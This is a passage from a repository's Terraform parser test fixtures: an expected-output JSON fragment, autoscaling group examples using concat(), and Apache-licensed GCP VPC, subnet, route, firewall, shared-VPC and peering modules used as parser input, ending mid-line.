"propagate_at_launch": false }, { "key": "Foo", "value": "Bar", "propagate_at_launch": true }, { "key": "Baz", "value": "Bam", "propagate_at_launch": true } ] ], "__start_line__": 25, "__end_line__": 46, "__address__": "aws_autoscaling_group.bar" } } }, { "aws_autoscaling_group": { "bar_simplified": { "name": [ "bar_simplified_group" ], "max_size": [ 5 ], "min_size": [ 2 ], "tags": [ [ { "key": "interpolation1", "value": "value3", "propagate_at_launch": true }, { "key": "interpolation2", "value": "value4", "propagate_at_launch": true } ] ], "__start_line__": 48, "__end_line__": 66, "__address__": "aws_autoscaling_group.bar_simplified" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/concat_function/main.tf ================================================ # Loosely from https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/autoscaling_group locals { inline_map = { key = "a_key" value = "a_value" propagate_at_launch = false } } variable "extra_tags" { default = [ { key = "Foo" value = "Bar" propagate_at_launch = true }, { key = "Baz" value = "Bam" propagate_at_launch = true } ] } resource "aws_autoscaling_group" "bar" { name = "foobar3-terraform-test" max_size = 5 min_size = 2 tags = concat( [ { "key" = "interpolation1" "value" = "value3" "propagate_at_launch" = true }, { "key" = "interpolation2" "value" = "value4" "propagate_at_launch" = true }, local.inline_map ], var.extra_tags, ) } resource "aws_autoscaling_group" "bar_simplified" { name = "bar_simplified_group" max_size = 5 min_size = 2 tags = concat( [ { "key" = "interpolation1" "value" = "value3" "propagate_at_launch" = true }, { "key" = "interpolation2" "value" = "value4" "propagate_at_launch" = true } ] ) } # From https://www.terraform.io/docs/language/functions/concat.html locals { simple_list = concat(["a", ""], ["b", "c"]) simple_list2 = concat(["a"], [""], ["b"], ["c"]) single_item_list = concat(["a"]) single_item_trailing_list = concat(["a"],) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /****************************************** VPC configuration *****************************************/ module "vpc" { source = "./modules/vpc" network_name = var.network_name auto_create_subnetworks = var.auto_create_subnetworks routing_mode = var.routing_mode project_id = var.project_id description = var.description shared_vpc_host = var.shared_vpc_host delete_default_internet_gateway_routes = var.delete_default_internet_gateway_routes } /****************************************** Subnet configuration *****************************************/ module "subnets" { source = "./modules/subnets" project_id = var.project_id network_name = module.vpc.network_name subnets = var.subnets secondary_ranges = var.secondary_ranges } /****************************************** Routes *****************************************/ module "routes" { source = "./modules/routes" project_id = var.project_id network_name = module.vpc.network_name routes = var.routes module_depends_on = [module.subnets.subnets] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ ############################################################################### # rules based on IP ranges ############################################################################### resource "google_compute_firewall" "allow-internal" { count = var.internal_ranges_enabled == true && length(var.internal_allow) > 0 ? 1 : 0 name = "${var.network}-ingress-internal" description = "Allow ingress traffic from internal IP ranges" network = var.network project = var.project_id source_ranges = var.internal_ranges target_tags = var.internal_target_tags dynamic "allow" { for_each = [for rule in var.internal_allow : { protocol = lookup(rule, "protocol", null) ports = lookup(rule, "ports", null) } ] content { protocol = allow.value.protocol ports = allow.value.ports } } } resource "google_compute_firewall" "allow-admins" { count = var.admin_ranges_enabled == true ? 1 : 0 name = "${var.network}-ingress-admins" description = "Access from the admin subnet to all subnets" network = var.network project = var.project_id source_ranges = var.admin_ranges allow { protocol = "icmp" } allow { protocol = "tcp" } allow { protocol = "udp" } } ############################################################################### # rules based on tags ############################################################################### resource "google_compute_firewall" "allow-tag-ssh" { count = length(var.ssh_source_ranges) > 0 ? 1 : 0 name = "${var.network}-ingress-tag-ssh" description = "Allow SSH to machines with the 'ssh' tag" network = var.network project = var.project_id source_ranges = var.ssh_source_ranges target_tags = var.ssh_target_tags allow { protocol = "tcp" ports = ["22"] } } resource "google_compute_firewall" "allow-tag-http" { count = length(var.http_source_ranges) > 0 ? 1 : 0 name = "${var.network}-ingress-tag-http" description = "Allow HTTP to machines with the 'http-server' tag" network = var.network project = var.project_id source_ranges = var.http_source_ranges target_tags = var.http_target_tags allow { protocol = "tcp" ports = ["80"] } } resource "google_compute_firewall" "allow-tag-https" { count = length(var.https_source_ranges) > 0 ? 1 : 0 name = "${var.network}-ingress-tag-https" description = "Allow HTTPS to machines with the 'https' tag" network = var.network project = var.project_id source_ranges = var.https_source_ranges target_tags = var.https_target_tags allow { protocol = "tcp" ports = ["443"] } } ################################################################################ # dynamic rules # ################################################################################ resource "google_compute_firewall" "custom" { # provider = "google-beta" for_each = var.custom_rules name = each.key description = each.value.description direction = each.value.direction network = var.network project = var.project_id source_ranges = each.value.direction == "INGRESS" ? each.value.ranges : null destination_ranges = each.value.direction == "EGRESS" ? each.value.ranges : null source_tags = each.value.use_service_accounts || each.value.direction == "EGRESS" ? null : each.value.sources source_service_accounts = each.value.use_service_accounts && each.value.direction == "INGRESS" ? each.value.sources : null target_tags = each.value.use_service_accounts ? null : each.value.targets target_service_accounts = each.value.use_service_accounts ? each.value.targets : null disabled = lookup(each.value.extra_attributes, "disabled", false) priority = lookup(each.value.extra_attributes, "priority", 1000) //enable_logging = lookup(each.value.extra_attributes, "enable_logging", null) dynamic "allow" { for_each = [for rule in each.value.rules : rule if each.value.action == "allow"] iterator = rule content { protocol = rule.value.protocol ports = rule.value.ports } } dynamic "deny" { for_each = [for rule in each.value.rules : rule if each.value.action == "deny"] iterator = rule content { protocol = rule.value.protocol ports = rule.value.ports } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "internal_ranges" { description = "Internal ranges." value = { enabled = var.internal_ranges_enabled ranges = var.internal_ranges_enabled ? join(",", var.internal_ranges) : "" } } output "admin_ranges" { description = "Admin ranges data." value = { enabled = var.admin_ranges_enabled ranges = var.admin_ranges_enabled ? join(",", var.admin_ranges) : "" } } output "custom_ingress_allow_rules" { description = "Custom ingress rules with allow blocks." value = [ for rule in google_compute_firewall.custom : rule.name if rule.direction == "INGRESS" && length(rule.allow) > 0 ] } output "custom_ingress_deny_rules" { description = "Custom ingress rules with deny blocks." value = [ for rule in google_compute_firewall.custom : rule.name if rule.direction == "INGRESS" && length(rule.deny) > 0 ] } output "custom_egress_allow_rules" { description = "Custom egress rules with allow blocks." value = [ for rule in google_compute_firewall.custom : rule.name if rule.direction == "EGRESS" && length(rule.allow) > 0 ] } output "custom_egress_deny_rules" { description = "Custom egress rules with allow blocks." value = [ for rule in google_compute_firewall.custom : rule.name if rule.direction == "EGRESS" && length(rule.deny) > 0 ] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "network" { description = "Name of the network this set of firewall rules applies to." } variable "project_id" { description = "Project id of the project that holds the network." } variable "internal_ranges_enabled" { description = "Create rules for intra-VPC ranges." default = false } variable "internal_ranges" { description = "IP CIDR ranges for intra-VPC rules." default = [] } variable "internal_target_tags" { description = "List of target tags for intra-VPC rules." default = [] } variable "internal_allow" { description = "Allow rules for internal ranges." default = [ { protocol = "icmp" }, ] } variable "admin_ranges_enabled" { description = "Enable admin ranges-based rules." default = false } variable "admin_ranges" { description = "IP CIDR ranges that have complete access to all subnets." default = [] } variable "ssh_source_ranges" { description = "List of IP CIDR ranges for tag-based SSH rule, defaults to 0.0.0.0/0." default = ["0.0.0.0/0"] } variable "ssh_target_tags" { description = "List of target tags for tag-based SSH rule, defaults to ssh." default = ["ssh"] } variable "http_source_ranges" { description = "List of IP CIDR ranges for tag-based HTTP rule, defaults to 0.0.0.0/0." default = ["0.0.0.0/0"] } variable "http_target_tags" { description = "List of target tags for tag-based HTTP rule, defaults to http-server." default = ["http-server"] } variable "https_source_ranges" { description = "List of IP CIDR ranges for tag-based HTTPS rule, defaults to 0.0.0.0/0." default = ["0.0.0.0/0"] } variable "https_target_tags" { description = "List of target tags for tag-based HTTPS rule, defaults to https-server." default = ["https-server"] } variable "custom_rules" { description = "List of custom rule definitions (refer to variables file for syntax)." default = {} type = map(object({ description = string direction = string action = string # (allow|deny) ranges = list(string) sources = list(string) targets = list(string) use_service_accounts = bool rules = list(object({ protocol = string ports = list(string) })) extra_attributes = map(string) })) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ resource "google_compute_shared_vpc_service_project" "projects" { count = var.service_project_num host_project = var.host_project_id service_project = element(var.service_project_ids, count.index) } resource "google_compute_subnetwork_iam_binding" "network_users" { count = length(var.host_subnets) project = var.host_project_id region = element(var.host_subnet_regions, count.index) subnetwork = element(var.host_subnets, count.index) role = "roles/compute.networkUser" members = compact(split(",", lookup(var.host_subnet_users, element(var.host_subnets, count.index)) )) } resource "google_project_iam_binding" "service_agents" { count = var.host_service_agent_role ? 1 : 0 project = var.host_project_id role = "roles/container.hostServiceAgentUser" members = var.host_service_agent_users } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "service_projects" { description = "Project ids of the services with access to all subnets." value = google_compute_shared_vpc_service_project.projects.*.service_project } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "host_project_id" { type = string description = "Project id of the shared VPC host project." } # passed-in values can be dynamic, so variables used in count need to be separate variable "service_project_num" { type = number description = "Number of service projects that will be attached to the Shared VPC." default = 0 } variable "service_project_ids" { type = list(string) description = "Ids of the service projects that will be attached to the Shared VPC." } variable "host_subnets" { type = list(string) description = "List of subnet names on which to grant network user role." default = [] } variable "host_subnet_regions" { type = list(string) description = "List of subnet regions, one per subnet." default = [] } variable "host_subnet_users" { type = map(any) description = "Map of comma-delimited IAM-style members to which network user roles for subnets will be assigned." default = {} } variable "host_service_agent_role" { type = bool description = "Assign host service agent role to users in host_service_agent_users variable." default = false } variable "host_service_agent_users" { type = list(string) description = "List of IAM-style users that will be granted the host service agent role on the host project." default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ locals { local_network_name = element(reverse(split("/", var.local_network)), 0) peer_network_name = element(reverse(split("/", var.peer_network)), 0) } resource "google_compute_network_peering" "local_network_peering" { provider = google-beta name = "${var.prefix}-${local.local_network_name}-${local.peer_network_name}" network = var.local_network peer_network = var.peer_network export_custom_routes = var.export_local_custom_routes import_custom_routes = var.export_peer_custom_routes depends_on = ["null_resource.module_depends_on"] } resource "google_compute_network_peering" "peer_network_peering" { provider = google-beta name = "${var.prefix}-${local.peer_network_name}-${local.local_network_name}" network = var.peer_network peer_network = var.local_network export_custom_routes = var.export_peer_custom_routes import_custom_routes = var.export_local_custom_routes depends_on = ["null_resource.module_depends_on", "google_compute_network_peering.local_network_peering"] } resource "null_resource" "module_depends_on" { triggers = { value = length(var.module_depends_on) } } resource "null_resource" "complete" { depends_on = ["google_compute_network_peering.local_network_peering", "google_compute_network_peering.peer_network_peering"] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "local_network_peering" { description = "Network peering resource." value = google_compute_network_peering.local_network_peering } output "peer_network_peering" { description = "Peer network peering resource." value = google_compute_network_peering.peer_network_peering } output "complete" { description = "Output to be used as a module dependency." value = null_resource.complete.id } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "prefix" { description = "Name prefix for the network peerings" type = string default = "network-peering" } variable "local_network" { description = "Resource link of the network to add a peering to." type = string } variable "peer_network" { description = "Resource link of the peer network." type = string } variable "export_peer_custom_routes" { description = "Export custom routes to local network from peer network." type = bool default = false } variable "export_local_custom_routes" { description = "Export custom routes to peer network from local network." type = bool default = false } variable "module_depends_on" { description = "List of modules or resources this module depends on." type = list default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ locals { routes = { for i, route in var.routes : lookup(route, "name", format("%s-%s-%d", lower(var.network_name), "route", i)) => route } } /****************************************** Routes *****************************************/ resource "google_compute_route" "route" { for_each = local.routes project = var.project_id network = var.network_name name = each.key description = lookup(each.value, "description", null) tags = compact(split(",", lookup(each.value, "tags", ""))) dest_range = lookup(each.value, "destination_range", null) next_hop_gateway = lookup(each.value, "next_hop_internet", "false") == "true" ? "default-internet-gateway" : null next_hop_ip = lookup(each.value, "next_hop_ip", null) next_hop_instance = lookup(each.value, "next_hop_instance", null) next_hop_instance_zone = lookup(each.value, "next_hop_instance_zone", null) next_hop_vpn_tunnel = lookup(each.value, "next_hop_vpn_tunnel", null) priority = lookup(each.value, "priority", null) depends_on = [var.module_depends_on] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "routes" { value = google_compute_route.route description = "The created routes resources" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where the routes will be created" } variable "network_name" { description = "The name of the network where routes will be created" } variable "routes" { type = list(map(string)) description = "List of routes being created in this VPC" default = [] } variable "module_depends_on" { description = "List of modules or resources this module depends on." type = list default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /****************************************** Routes *****************************************/ resource "google_compute_route" "route" { provider = google-beta count = var.routes_count project = var.project_id network = var.network_name name = lookup(var.routes[count.index], "name", format("%s-%s-%d", lower(var.network_name), "route", count.index)) description = lookup(var.routes[count.index], "description", null) tags = compact(split(",", lookup(var.routes[count.index], "tags", ""))) dest_range = lookup(var.routes[count.index], "destination_range", null) next_hop_gateway = lookup(var.routes[count.index], "next_hop_internet", "false") == "true" ? "default-internet-gateway" : "" next_hop_ip = lookup(var.routes[count.index], "next_hop_ip", null) next_hop_instance = lookup(var.routes[count.index], "next_hop_instance", null) next_hop_instance_zone = lookup(var.routes[count.index], "next_hop_instance_zone", null) next_hop_vpn_tunnel = lookup(var.routes[count.index], "next_hop_vpn_tunnel", null) next_hop_ilb = lookup(var.routes[count.index], "next_hop_ilb", null) priority = lookup(var.routes[count.index], "priority", null) depends_on = [var.module_depends_on] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "routes" { value = google_compute_route.route description = "The created routes resources" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where the routes will be created" } variable "network_name" { description = "The name of the network where routes will be created" } variable "routes" { type = list(map(string)) description = "List of routes being created in this VPC" default = [] } variable "routes_count" { type = number description = "Amount of routes being created in this VPC" default = 0 } variable "module_depends_on" { description = "List of modules or resources this module depends on." type = list default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ locals { subnets = { for x in var.subnets : "${x.subnet_region}/${x.subnet_name}" => x } } /****************************************** Subnet configuration *****************************************/ resource "google_compute_subnetwork" "subnetwork" { for_each = local.subnets name = each.value.subnet_name ip_cidr_range = each.value.subnet_ip region = each.value.subnet_region private_ip_google_access = lookup(each.value, "subnet_private_access", "false") dynamic "log_config" { for_each = lookup(each.value, "subnet_flow_logs", false) ? [{ aggregation_interval = lookup(each.value, "subnet_flow_logs_interval", "INTERVAL_5_SEC") flow_sampling = lookup(each.value, "subnet_flow_logs_sampling", "0.5") metadata = lookup(each.value, "subnet_flow_logs_metadata", "INCLUDE_ALL_METADATA") }] : [] content { aggregation_interval = log_config.value.aggregation_interval flow_sampling = log_config.value.flow_sampling metadata = log_config.value.metadata } } network = var.network_name project = var.project_id description = lookup(each.value, "description", null) secondary_ip_range = [ for i in range( length(contains(keys(var.secondary_ranges), each.value.subnet_name) == true ? var.secondary_ranges[each.value.subnet_name] : [])) : var.secondary_ranges[each.value.subnet_name][i] ] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "subnets" { value = google_compute_subnetwork.subnetwork description = "The created subnet resources" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where subnets will be created" } variable "network_name" { description = "The name of the network where subnets will be created" } variable "subnets" { type = list(map(string)) description = "The list of subnets being created" } variable "secondary_ranges" { type = map(list(object({ range_name = string, ip_cidr_range = string }))) description = "Secondary ranges that will be used in some of the subnets" default = {} } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ locals { subnets = { for x in var.subnets : "${x.subnet_region}/${x.subnet_name}" => x } } /****************************************** Subnet configuration *****************************************/ resource "google_compute_subnetwork" "subnetwork" { provider = google-beta for_each = local.subnets name = each.value.subnet_name ip_cidr_range = each.value.subnet_ip region = each.value.subnet_region private_ip_google_access = lookup(each.value, "subnet_private_access", "false") dynamic "log_config" { for_each = lookup(each.value, "subnet_flow_logs", false) ? [{ aggregation_interval = lookup(each.value, "subnet_flow_logs_interval", null) flow_sampling = lookup(each.value, "subnet_flow_logs_sampling", null) metadata = lookup(each.value, "subnet_flow_logs_metadata", null) }] : [] content { aggregation_interval = log_config.value.aggregation_interval flow_sampling = log_config.value.flow_sampling metadata = log_config.value.metadata } } network = var.network_name project = var.project_id description = lookup(each.value, "description", null) secondary_ip_range = [ for i in range( length( contains( keys(var.secondary_ranges), each.value.subnet_name) == true ? var.secondary_ranges[each.value.subnet_name] : [] )) : var.secondary_ranges[each.value.subnet_name][i] ] purpose = lookup(each.value, "purpose", null) role = lookup(each.value, "role", null) depends_on = [var.module_depends_on] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "subnets" { value = google_compute_subnetwork.subnetwork description = "The created subnet resources" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where subnets will be created" } variable "network_name" { description = "The name of the network where subnets will be created" } variable "subnets" { type = list(map(string)) description = "The list of subnets being created" } variable "secondary_ranges" { type = map(list(object({ range_name = string, ip_cidr_range = string }))) description = "Secondary ranges that will be used in some of the subnets" default = {} } variable "module_depends_on" { description = "List of modules or resources this module depends on." type = list default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/main.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /****************************************** VPC configuration *****************************************/ resource "google_compute_network" "network" { name = var.network_name auto_create_subnetworks = var.auto_create_subnetworks routing_mode = var.routing_mode project = var.project_id description = var.description delete_default_routes_on_create = var.delete_default_internet_gateway_routes } /****************************************** Shared VPC *****************************************/ resource "google_compute_shared_vpc_host_project" "shared_vpc_host" { count = var.shared_vpc_host ? 1 : 0 project = var.project_id depends_on = [google_compute_network.network] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "network" { value = google_compute_network.network description = "The VPC resource being created" } output "network_name" { value = google_compute_network.network.name description = "The name of the VPC being created" } output "network_self_link" { value = google_compute_network.network.self_link description = "The URI of the VPC being created" } output "project_id" { value = var.shared_vpc_host && length(google_compute_shared_vpc_host_project.shared_vpc_host) > 0 ? google_compute_shared_vpc_host_project.shared_vpc_host.*.project[0] : google_compute_network.network.project description = "VPC project id" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where this VPC will be created" } variable "network_name" { description = "The name of the network being created" } variable "routing_mode" { type = string default = "GLOBAL" description = "The network routing mode (default 'GLOBAL')" } variable "shared_vpc_host" { type = bool description = "Makes this project a Shared VPC host if 'true' (default 'false')" default = false } variable "description" { type = string description = "An 